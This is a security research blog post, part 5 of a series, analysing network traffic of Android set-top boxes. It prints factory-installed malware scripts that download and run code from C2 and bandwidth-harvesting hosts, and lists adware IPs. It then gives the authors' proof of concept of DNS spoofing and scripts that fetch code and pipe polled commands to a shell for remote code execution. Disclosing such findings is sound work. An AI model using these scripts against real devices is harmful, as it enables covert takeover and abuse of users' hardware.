Set-Top Box RE: 6-part series (5 of 6)

August 30th, 2024 by Brian

Blog Post 5: Network Analysis and Exploit

The following is part 5 of a 6-part series detailing the examination of the security of Set-Top Boxes. The research was conducted by Om and Jack, two of our interns this past summer. Enjoy!

Background Information

In our last post, we analyzed the filesystem to better understand how the STBs run, and look for known IoCs, vulnerabilities, and suspicious files that could point towards malware.

Overview

In this post, we will look at the network traffic of the STBs to find suspicious behavior. We will also try to make exploits for any vulnerabilities we find.

Tools

We used a few common tools throughout the network analysis.

Wireshark

Wireshark is a popular open-source packet capture tool that can capture and analyze a host of network protocols including TCP and UDP.

NoRoot Firewall

NoRoot Firewall is an open-source firewall that is a very easy way to see network requests and the corresponding APK making the request. We were able to use this to pair with the Wireshark capture to find where packets are originating.

PCAPdroid

PCAPdroid is very similar to NoRoot Firewall, but a little more robust. It is an open-source packet capture app that can track and export network traffic based on the app it originated from. It also has add-ons that can extend its functionality such as a man-in-the-middle proxy that allows decrypting TLS traffic with a custom CA cert.

Workflow

For all of the STBs, we want to create some type of system that we could follow to get consistent results across all of the targets. For this, we followed this workflow: 1. Push NoRoot Firewall and start it on boot 2. Use Wireshark and cross reference suspicious requests with the APKs that created them 3. If necessary use PCAPdroid to decrypt TLS/SSL traffic 4. If necessary reverse processes making these requests

TSHDMX10

The first STB we will look at is the TSHDMX10. We followed the workflow stated above. We were able to find malware on this STB, however, it is not the same as the malware in the initial report.

Part 1: C2 server connection

First, we used the NoRoot Firewall and noticed some interesting requests coming from the Airscreen APK.

After that, we wanted to see what these requests looked like in Wireshark:

Interestingly, we see multiple HTTP requests that go to endpoints with /shell/...

Let’s look through some of these scripts:

The first script that we will look at is install-recovery-curl.sh. This script is responsible for reaching back out to the c2 server and downloading many shell scripts:

#!/system/bin/sh
mkdir -p /data/local/shell

if [ ! ${host} ]; then
  host="http://jm.ttyunos.com"
fi

ip=$(/system/bin/curl ifconfig.co/country-iso)

language=$(getprop ro.product.locale)
if [[ -z $language ]]
then
  language=$(getprop persist.sys.locale)
fi

ethmac=$(cat /sys/class/net/eth0/address)
if [[ -z $ethmac ]]
then
  ethmac=$(cat /sys/class/net/wlan0/address)
fi

model=$(getprop ro.product.model)
if [[ -z $model ]]
then
  model=$(getprop ro.product.system.model)
fi

dateutc=$(getprop ro.build.date.utc)
productdevice=$(getprop ro.product.device)
builduser=$(getprop ro.build.user)

devicetype=$(getprop ro.product.jm.device)

result=$(cat /data/local/jmcount)
if [[ $result != "2" ]]
then
    /system/bin/curl -d "dateutc=${dateutc}&builduser=${builduser}&model=${model}&devicetype=${devicetype}&productdevice=${productdevice}&ip=${ip}&language=${language}&mac=${ethmac}" --output /data/local/jmcount "${host}/count/device"
    result=$(cat /data/local/jmcount)
    if [[ $result != "2" ]]
    then
        toybox rm -rf /data/local/jmcount
    fi
fi

/system/bin/curl -d "dateutc=${dateutc}&model=${model}&productdevice=${productdevice}&ip=${ip}&method=curl" --output /data/local/shell/pull.sh "${host}/shell/pull"
sleep 1
if test -e /data/local/shell/pull.sh
then
    chmod 755 /data/local/shell/pull.sh
    toybox dos2unix /data/local/shell/pull.sh
    /system/bin/sh /data/local/shell/pull.sh
fi

/system/bin/curl -d "dateutc=${dateutc}&model=${model}&productdevice=${productdevice}&builduser=${builduser}&ip=${ip}&method=curl" --output /data/local/shell/push.sh "${host}/shell/push"
sleep 1
if test -e /data/local/shell/push.sh
then
    chmod 755 /data/local/shell/push.sh
    toybox dos2unix /data/local/shell/push.sh
    /system/bin/sh /data/local/shell/push.sh
fi

/system/bin/curl -d "dateutc=${dateutc}&model=${model}&productdevice=${productdevice}&method=curl" --output /data/local/shell/ota.sh "${host}/shell/ota"
sleep 1
if test -e /data/local/shell/ota.sh
then
    chmod 755 /data/local/shell/ota.sh
    toybox dos2unix /data/local/shell/ota.sh
    /system/bin/sh /data/local/shell/ota.sh
fi

/system/bin/curl -d "dateutc=${dateutc}&model=${model}&productdevice=${productdevice}&ip=${ip}&method=curl" --output /data/local/shell/uninstall.sh "${host}/shell/uninstall"
sleep 1
if test -e /data/local/shell/uninstall.sh
then
    chmod 755 /data/local/shell/uninstall.sh
    toybox dos2unix /data/local/shell/uninstall.sh
    /system/bin/sh /data/local/shell/uninstall.sh
fi

/system/bin/curl -d "dateutc=${dateutc}&model=${model}&productdevice=${productdevice}&ip=${ip}&method=curl" --output /data/local/shell/install.sh "${host}/shell/install"
sleep 1
if test -e /data/local/shell/install.sh
then
    chmod 755 /data/local/shell/install.sh
    toybox dos2unix /data/local/shell/install.sh
    /system/bin/sh /data/local/shell/install.sh
fi

/system/bin/curl -d "dateutc=${dateutc}&model=${model}&productdevice=${productdevice}&builduser=${builduser}&ip=${ip}&method=curl" --output /data/local/shell/open.sh "${host}/shell/open"
sleep 1
if test -e /data/local/shell/open.sh
then
    chmod 755 /data/local/shell/open.sh
    toybox dos2unix /data/local/shell/open.sh
    /system/bin/sh /data/local/shell/open.sh &
fi

/system/bin/curl -d "dateutc=${dateutc}&model=${model}&productdevice=${productdevice}&builduser=${builduser}&method=curl" --output /data/local/shell/ttyun.sh "${host}/shell/ttyun"
sleep 1
if test -e /data/local/shell/ttyun.sh
then
    chmod 755 /data/local/shell/ttyun.sh
    toybox dos2unix /data/local/shell/ttyun.sh
    /system/bin/sh /data/local/shell/ttyun.sh
fi

/system/bin/curl -d "dateutc=${dateutc}&model=${model}&productdevice=${productdevice}&builduser=${builduser}&method=curl" --output /data/local/shell/proxy.sh "${host}/shell/proxy"
sleep 1
if test -e /data/local/shell/proxy.sh
then
    chmod 755 /data/local/shell/proxy.sh
    toybox dos2unix /data/local/shell/proxy.sh
    /system/bin/sh /data/local/shell/proxy.sh &
fi

Most of these scripts don’t do very much, however Proxy.sh is something that we want to look into.

Proxy.sh is below. It checks if your country code is Germany, reaches out to http://tiptime-api.com/, and downloads a binary, then it gives it permissions and runs it. Finally, it runs the “keep alive” script ttrun.sh.

#!/system/bin/sh
ip=$(/system/bin/curl ifconfig.co/country-iso)
if [ $ip == "DE" ]
then
    mkdir -p /data/local/proxy
        if [ ! -e "/data/local/proxy/com.master.ttmanager_0_MjAyMy0xMi0yMiAwMToyMzo1MA==" ]; then
            toybox rm -rf /data/local/proxy/com.master.ttmanager*

            toybox rm -rf /data/local/ttmanager
            toybox rm -rf /data/local/ttrun.sh
            /system/bin/curl --output "/data/local/ttmanager" -L "http://tiptime-api.com/cdn/ttmanager2/1.5.28/ttmanager_android_arm32"
            if [[ $(toybox md5sum "/data/local/ttmanager") == 8c442c8637f044c28a00ec40de582b01* ]];
            then
                chmod 777 /data/local/ttmanager
                cd /data/local
                ./ttmanager -g
                chmod 777 ttrun.sh
                touch /data/local/proxy/com.master.ttmanager_0_MjAyMy0xMi0yMiAwMToyMzo1MA==
            fi
        fi
    if [ -e "/data/local/ttrun.sh" ]
    then
        cd /data/local/
        nohup ./ttrun.sh -blank -oversea -force_node blank  &
    fi
fi

This part of the script won’t run for us because of our US IP, but when we went in and updated the IP code to the US and ran it, the script produced a whole bunch of files.

├── data
│   ├── dy
│   │   ├── dy_arm32
│   │   └── tp-log
│   │       ├── log
│   │       └── log.2024061402
│   ├── log
│   │   ├── network
│   │   │   ├── tiptime.log
│   │   │   ├── tiptime.log.2024061402
│   │   │   └── tiptime.log.2024061403
│   │   ├── node
│   │   │   ├── tiptime.log
│   │   │   ├── tiptime.log.2024061402
│   │   │   └── tiptime.log.2024061403
│   │   ├── status
│   │   │   ├── status.log
│   │   │   ├── status.log.2024061402
│   │   │   └── status.log.2024061403
│   │   ├── tiptime.log
│   │   ├── tiptime.log.2024061402
│   │   └── tiptime.log.2024061403
│   └── ttagent
├── jmcount
├── mnt
│   ├── BKNode
│   ├── BYANode
│   ├── EDSNode
│   ├── EDSNodeH
│   ├── EDSNodeR
│   ├── JSNode
│   ├── JSNodeH
│   ├── KANode
│   ├── KSNode
│   ├── KSNodeA
│   ├── KSNodeH
│   ├── LSNode
│   ├── QYNode
│   └── WSNode
├── nohup.out
├── proxy
│   └── com.master.ttmanager_0_MjAyMy0xMi0yMiAwMToyMzo1MA==
├── run.sh
├── shell
├── symbol_thirdpart_apks_installed
├── tests
│   ├── product
│   ├── system
│   ├── unrestricted
│   └── vendor
├── tmp
│   └── proxy.sh
├── traces
├── ttmanager
├── ttobserver
└── ttrun.sh

Part 2: Tiptime

From this tree, we can see that 4 binaries were downloaded.


$ file ttmanager
ttmanager: ELF 32-bit LSB pie executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /system/bin/linker, Go BuildID=lUXnf0Dza6KWOrRnEQq9/O-kkfyg5ArItUBYqkFiF/FOo4Q6cN5pvzk1QuKJA0/cq8028xCOhhTP-9lxuJ_, stripped

$ file ttobserver
ttobserver: ELF 32-bit LSB pie executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /system/bin/linker, Go BuildID=HZzecTsp30-v6U95bL3W/-TtPkU7QgxJaTZx8e28u/5hMR76470q8RrH8oSXsf/DfUv8kjW6BewwjDh_ajZ, stripped

$ file data/ttagent
data/ttagent: ELF 32-bit LSB pie executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /system/bin/linker, with debug_info, not stripped

$ file data/dy/dy_arm32
data/dy/dy_arm32: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), statically linked, no section header

Let’s look at the help pages of each of these binaries

Usage of ./ttmanager:
  -blank
    blank version
  -c value
    Node resource default cache root path
  -ch string
    Channel code
  -d value
    The root directory where resources are stored (node ​​execution files and log files)
  -g generate keepalive script
  -nodeID
    Get device id
  -oversea
    Overseas version
  -sn string
    sn code
  -t string
    Start the node that is started by default for the first time
  -uid int
    Bind user id
  -uninstall
    Uninstall all nodes
  -v displays version number
  -vip string
    Bind VIP code
Usage of ./ttobserver:
  -c string
    Node resource default cache root path (default "/data/local/mnt")
  -d string
    The root directory where resources are stored (node ​​execution files and log files) (default "/data/local")
  -v displays version number
Usage: ./data/ttagent [option]
    -I, --id=string          Set an ID for the device(Maximum 63 bytes, valid
                            character:letter, number, underline and short line)
    -h, --host=string        Server's host or ipaddr(Default is localhost)
    -p, --port=number        Server port(Default is 5912)
    -d, --description=string Add a description to the device(Maximum 126 bytes)
    -a                       Auto reconnect to the server
    -D                       Run in the background
    -t, --token=string       Authorization token
    -f username              Skip a second login authentication. See man login(1) about the details
    -R                       Receive file
    -S file                  Send file
    -v, --verbose            verbose
    -V, --version            Show version
    --help                   Show usage

On top of the binaries we also want to point out the nodes:

├── mnt
│   ├── BKNode
│   ├── BYANode
│   ├── EDSNode
│   ├── EDSNodeH
│   ├── EDSNodeR
│   ├── JSNode
│   ├── JSNodeH
│   ├── KANode
│   ├── KSNode
│   ├── KSNodeA
│   ├── KSNodeH
│   ├── LSNode
│   ├── QYNode
│   └── WSNode

Now with all of this setup, we have binaries running with a keep-alive script, and we have nodes. That’s a lot of code, but let’s look into what tiptime is and see if we can figure out what they are doing.

Instead of reversing these binaries, we went to their website tiptime.cn they have plenty of documentation on how to set up and install the tiptime service on IoT devices. With the tiptime service, users can then earn stars for selling their bandwidth to tiptime which does distributed edge computing that works like BitTorrent. Well, the intentions of tiptime are not malicious if the user is consenting to their bandwidth being sold, but because of the way that it is reaching out to a c2 server and farming bandwidth without the user’s knowledge that is the problem.

Part 3: Gaganode & Meson Network

When we were going to write this report we wanted to get more information about the tiptime binaries mentioned above, but when we booted the box we found an archive gaganode.tar.bz2 sitting in the /data/local/ directory.

Inside this archive, we find agent.sh, gaganode, root_config, and logs. Let’s go through each one:

Gaganode is part of a bigger crypto network called the Meson Network. The Meson Network is similar to BitTorrent but decentralized. The Meson Network solves the problem with BitTorrent that when there is a lower user count the speed of the network slows down. Having bits of a file served by idle bandwidth means the devices are never off so there is no drop off in speed. Gaganode is the API that is used to farm out residential bandwidth to the Meson Network. I recommend reading their white paper to get a better understanding of how the network works.

gaganode is the only binary in this archive through reading the documentation The agent.sh script:

#!/system/bin/sh
while  [ 1 ]  
do   
    cd /data/gaganode
    procnum=` ps -ef | grep "gaganode" |grep -v grep|wc -l`
    echo "procnum = $procnum"
   if [ $procnum -eq 0 ]; then
        echo "restart gaganode"
        chmod -R 755 /data/gaganode
        nohup ./gaganode >/dev/null 2>&1 &
        sleep 30
   fi
        sleep 30
done

The root_conf/default.toml:

token = 'vixohwhyssejscxqd71576ef15c91ff3'
tracking_id = ''
#
os_type = 'linux'
os_name = 'os_name'
os_version = 'os_version'
product = 'product'

[package]

package_id = 67 package_version = ‘0.0.600’

[build]

mode = ‘release’ #debug

[log]

log_to_file = true log_dir = “logs” print_logo = true level = ‘INFO’

[server]

host = ‘gtxvdqvuweqs.com’ port = 5060

[satellite]

port = 36060

The default toml file gives all the config values Notice host = 'gtxvdqvuweqs.com' when resolving this to an IP we get 16.162.201.176. Let’s also take note of the 2 ports: 5060 and 36060. There is also token = 'vixohwhyssejscxqd71576ef15c91ff3'. All nodes will have the same token if they come from the same owner.

In logs/all/all_logs.txt:

2024-08-06 12:52:40 [INFO] boot dns................................
2024-08-06 12:52:40 [INFO] build mode: release
2024-08-06 12:52:40 [INFO] log level: INFO
2024-08-06 12:52:40 [INFO] start...
2024-08-06 12:52:40 [INFO] node config start....
2024-08-06 12:52:40 [INFO] node params update....
2024-08-06 12:52:43 [ERRO] getNodeParams failed: UpdateNodeParams tcp dial error :dial tcp4 16.162.201.176:5060: connect: software caused connection abort
2024-08-06 12:52:43 [INFO] node config will restart after : 60  secs
2024-08-06 12:53:43 [INFO] node config start....
2024-08-06 12:53:43 [INFO] node params update....

When gaganode runs it creates some logs. We can see Gaganode is trying to reach out to 16.162.201.176:5060, but it can’t connect, however, the IP is online:

nmap 16.162.201.176
Starting Nmap 7.95 ( https://nmap.org ) at 2024-08-06 09:44 Eastern Daylight Time
Nmap scan report for ec2-16-162-201-176.ap-east-1.compute.amazonaws.com (16.162.201.176)
Host is up (0.24s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
443/tcp  open  https
8080/tcp open  http-proxy

We believe that this port will come online sometime in the future when the developer of ttyunos.com gets around to it. When this port comes online it means that the boxes will begin to sell their bandwidth.

TSHDMX10 Network Summary

To conclude the network analysis on the TSHDMX10 it is clear that there is malware installed from the factory. Originally the owner of the c2 server who is either the manufacturer or distributor is actively using their c2 server to drop network bandwidth harvesting binary on the box and keeping the profit for themselves. At first, they were using a Chinese provider for this called tiptime, but recently they have switched to the Meson Network. It would be interesting to get a few more boxes to confirm that the malware is present on all of them and we were not the victims of a one-off attack.

Rupa8k

The first STB we will look at is the Rupa8k. When looking at the initial wireshark capture with hostnames resolved we notice requests to a lot of ad delivery servers:

After we noticed this we pushed PCAPdroid onto the box and analyzed the APKs making these requests:

Interestingly we notice these requests are originating from the MediaServices APK(com.android.media.module.services). This APK was never opened and these requests were made on boot. We believe that this is not the intention of this APK and it is not made clear to the user.

Additionally, we noticed 2 requests to the Nginx servers. Both of these result in files being downloaded:

Result: A text file containing a 128-bit string 6D98DBAFCB9BA7DBF5AD05C1CF0C5B7751A905B0F07540A96AEA848949A690F71D5FCC5247686356E7EE9DE7F516C769B1F5A9EA05060A23781762A144B50EEC

Result: empty file

Suspicious IPs:

172.67.133.229 - lp.xl-ads.com - ad server
172.67.134.148 - app-api-e-ddfabc345112.adenjoybox.com - ad server
172.67.9.40 -bit.g1ee.com - ad server
74.207.249.7 - tangle.web.sve.cc - fake google page
151.101.65.44 - tls13.taboola.map.fastly.net - ngnix - unknown domain
172.67.207.151 - ngnix - pp.showgo.com - downloads file from /mm
8.219.89.234 - no hostname - ngnix - downloads file from /reportcomp

From these findings, we believe that it is safe to conclude that there is adware running on the Rupa, but would like to do more research to determine the scope of the adware.

Network Instrumentation

DNS Spoof

During the network analysis, we found that the device connects to a c2 server on boot and downloads malicious scripts. This is obviously a problem, but we can exploit this if we control the DNS server that the device reaches out to. The following are the steps we took to build a POC c2 server. We used a tool called DNS tweak which can be found at https://github.com/jes/dnstweak this allows for quick local DNS spoofing which we used to spoof the malicious site with the IP of our laptop operating as the router with the command below:

sudo ./dnstweak.x86_64 "jm.ttyunos.com=129.168.0.133"

On boot, the STB will call jm.ttyunos.com/install-recovery-curl.sh It will download the script and automatically run it. We spun up a temporary server using the command:

python3 -m http.server 80

This is a super quick way to build a Python HTTP server. We created a file install-recovery-curl.sh in the same directory as we started the HTTP server. Here is an early example of what that file might look like:

#!/system/bin/sh

if [ -f /data/local/tmp/check.sh ]; then
    rm '/data/local/tmp/check.sh'
fi

curl -o '/data/local/tmp/check.sh' 'jm.ttyunos.com/check.sh'
chmod 777 /data/local/tmp/check.sh
./data/local/tmp/check.sh 

This downloads a shell script file from our server, makes it executable, and runs it. Here is an example of what that could look like:

#!/system/bin/sh

while true
do
    available=$(curl -w "%{http_code}" jm.ttyunos.com/available)

    if [ $available == '200' ]; then
        curl 'jm.ttyunos.com/poll' | /system/bin/sh
    fi

    sleep 10
done

This is very simple, it runs an infinite while loop, pings back to our server every 10 seconds, and checks the HTTP code of /available and if it is 200 then we call /poll. This polled our own HTTP server which was built using Flask. This server is not very good, but it was our first POC. The /available path checks if there is a new command that is stored in our command queue. If there is one then we call /poll and execute the command. This worked and would lead to RCE, if this was actually being implemented, something like BYOB would be a good solution, but we did not pursue this in the interest of time.

Conclusion

In this post, we looked at the network traffic of the boxes and found a few suspicious IPs. One of the boxes was reaching out to a C2 server that is being actively developed and currently running a distributed storage service. We also DNS spoofed the host and created our C2. In our next post, we will talk about how an attacker with physical access can compromise one of these boxes via the SD card slot.